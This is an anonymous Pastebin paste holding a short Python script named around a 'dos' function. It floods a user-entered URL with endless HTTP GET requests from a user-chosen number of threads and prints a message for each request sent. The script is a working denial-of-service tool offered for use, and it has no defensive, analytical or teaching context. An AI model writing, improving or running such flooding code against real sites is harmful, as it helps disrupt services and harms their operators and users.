Guest User

Untitled

a guest
Jan 5th, 2020
4,032
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. import colorama
  2. import threading
  3. import requests
  4. def dos(target):
  5. while True:
  6. try:
  7. res = requests.get(target)
  8. print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
  9. except requests.exceptions.ConnectionError:
  10. print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
  11. threads = 20
  12.  
  13. url = input("URL: ")
  14.  
  15. try:
  16. threads = int(input("Threads: "))
  17. except ValueError:
  18. exit("Threads count is incorrect!")
  19.  
  20. if threads == 0:
  21. exit("Threads count is incorrect!")
  22.  
  23. if not url.__contains__("http"):
  24. exit("URL doesnt contains http or https!")
  25.  
  26. if not url.__contains__("."):
  27. exit("Invalid domain")
  28.  
  29. for i in range(0, threads):
  30. thr = threading.Thread(target=dos, args=(url,))
  31. thr.start()
  32. print(str(i + 1) + " thread started!")
Advertisement
Add Comment
Please, Sign In to add comment